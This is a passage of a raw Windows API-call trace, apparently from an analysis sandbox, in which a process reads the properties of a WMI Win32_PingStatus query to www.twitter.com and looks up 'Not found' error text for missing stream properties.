lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278884*=0, plFlavor=0x2278888*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2278884*=8, plFlavor=0x2278888*=64) returned 0x0 [0161.705] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.705] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.705] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22788dc*=0, plFlavor=0x22788e0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22788dc*=8, plFlavor=0x22788e0*=64) returned 0x0 [0161.705] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.705] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.705] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278ab8*=0, plFlavor=0x2278abc*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2278ab8*=3, plFlavor=0x2278abc*=64) returned 0x0 [0161.706] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278aec*=0, plFlavor=0x2278af0*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af20, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2278aec*=8200, plFlavor=0x2278af0*=64) returned 0x0 [0161.706] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278b2c*=0, plFlavor=0x2278b30*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2278b2c*=8, plFlavor=0x2278b30*=64) returned 0x0 [0161.706] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.706] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.706] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278b78*=0, plFlavor=0x2278b7c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2278b78*=8, plFlavor=0x2278b7c*=64) returned 0x0 [0161.706] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.706] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.706] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278bc4*=0, plFlavor=0x2278bc8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2278bc4*=8, plFlavor=0x2278bc8*=64) returned 0x0 [0161.707] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.707] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.707] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0161.707] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0161.707] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.707] IWbemClassObject:Get (in: This=0x5f765d8, wszName="WriteVerboseStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278dfc*=0, plFlavor=0x2278e00*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278dfc*=0, plFlavor=0x2278e00*=0) returned 0x80041002 [0161.707] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0161.708] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f6af20) returned 0x0 [0161.709] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0161.709] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f6af20, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f6af90) returned 0x0 [0161.709] WbemStatusCodeText:IUnknown:Release (This=0x5f6af20) returned 0x0 [0161.709] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f6af90) returned 0x0 [0161.709] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0161.709] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af90) returned 0x3 [0161.709] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0161.709] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0161.709] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0161.709] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0161.709] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0161.709] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0161.710] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x2 [0161.710] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x1 [0161.710] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0161.710] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0161.710] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f6af90) returned 0x0 [0161.710] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af90) returned 0x3 [0161.710] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x2 [0161.710] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f6af90, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0161.710] SysStringByteLen (bstr="Not found ") returned 0x14 [0161.711] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.711] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.711] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.711] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.711] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.711] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.711] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0161.711] SafeArrayGetDim (psa=0x5f6dc38) returned 0x1 [0161.711] SafeArrayGetDim (psa=0x5f6dc38) returned 0x1 [0161.711] SafeArrayGetLBound (in: psa=0x5f6dc38, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0161.712] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.712] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.712] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.712] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.712] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.712] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.712] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.712] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.712] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.712] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.712] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.712] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.712] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.712] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.712] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.712] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.712] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.712] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.712] SysStringByteLen (bstr="__PATH") returned 0xc [0161.712] SysStringByteLen (bstr="__PATH") returned 0xc [0161.713] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22791dc*=0, plFlavor=0x22791e0*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22791dc*=3, plFlavor=0x22791e0*=64) returned 0x0 [0161.713] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279210*=0, plFlavor=0x2279214*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2279210*=8, plFlavor=0x2279214*=64) returned 0x0 [0161.713] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.713] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.713] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279268*=0, plFlavor=0x227926c*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279268*=8, plFlavor=0x227926c*=64) returned 0x0 [0161.713] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279290*=0, plFlavor=0x2279294*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2279290*=8, plFlavor=0x2279294*=64) returned 0x0 [0161.713] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.713] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.713] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22792e8*=0, plFlavor=0x22792ec*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22792e8*=8, plFlavor=0x22792ec*=64) returned 0x0 [0161.714] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.714] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.714] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22794c4*=0, plFlavor=0x22794c8*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22794c4*=3, plFlavor=0x22794c8*=64) returned 0x0 [0161.714] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22794f8*=0, plFlavor=0x22794fc*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af20, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22794f8*=8200, plFlavor=0x22794fc*=64) returned 0x0 [0161.714] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227952c*=0, plFlavor=0x2279530*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x227952c*=8, plFlavor=0x2279530*=64) returned 0x0 [0161.714] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.714] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.715] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2279578*=0, plFlavor=0x227957c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2279578*=8, plFlavor=0x227957c*=64) returned 0x0 [0161.715] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.715] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.715] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22795c4*=0, plFlavor=0x22795c8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22795c4*=8, plFlavor=0x22795c8*=64) returned 0x0 [0161.715] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.715] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.715] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0161.715] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0161.715] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.715] IWbemClassObject:Get (in: This=0x5f765d8, wszName="WriteDebugStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22797fc*=0, plFlavor=0x2279800*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22797fc*=0, plFlavor=0x2279800*=0) returned 0x80041002 [0161.715] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0161.716] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f6af20) returned 0x0 [0161.717] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0161.717] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f6af20, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f6aef0) returned 0x0 [0161.717] WbemStatusCodeText:IUnknown:Release (This=0x5f6af20) returned 0x0 [0161.717] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aef0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f6aef0) returned 0x0 [0161.717] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aef0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0161.717] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6aef0) returned 0x3 [0161.717] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aef0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0161.717] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aef0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0161.717] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aef0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0161.718] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0161.718] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0161.718] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aef0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0161.718] WbemStatusCodeText:IUnknown:Release (This=0x5f6aef0) returned 0x2 [0161.718] WbemStatusCodeText:IUnknown:Release (This=0x5f6aef0) returned 0x1 [0161.718] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0161.718] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0161.718] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6aef0, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f6aef0) returned 0x0 [0161.718] WbemStatusCodeText:IUnknown:AddRef 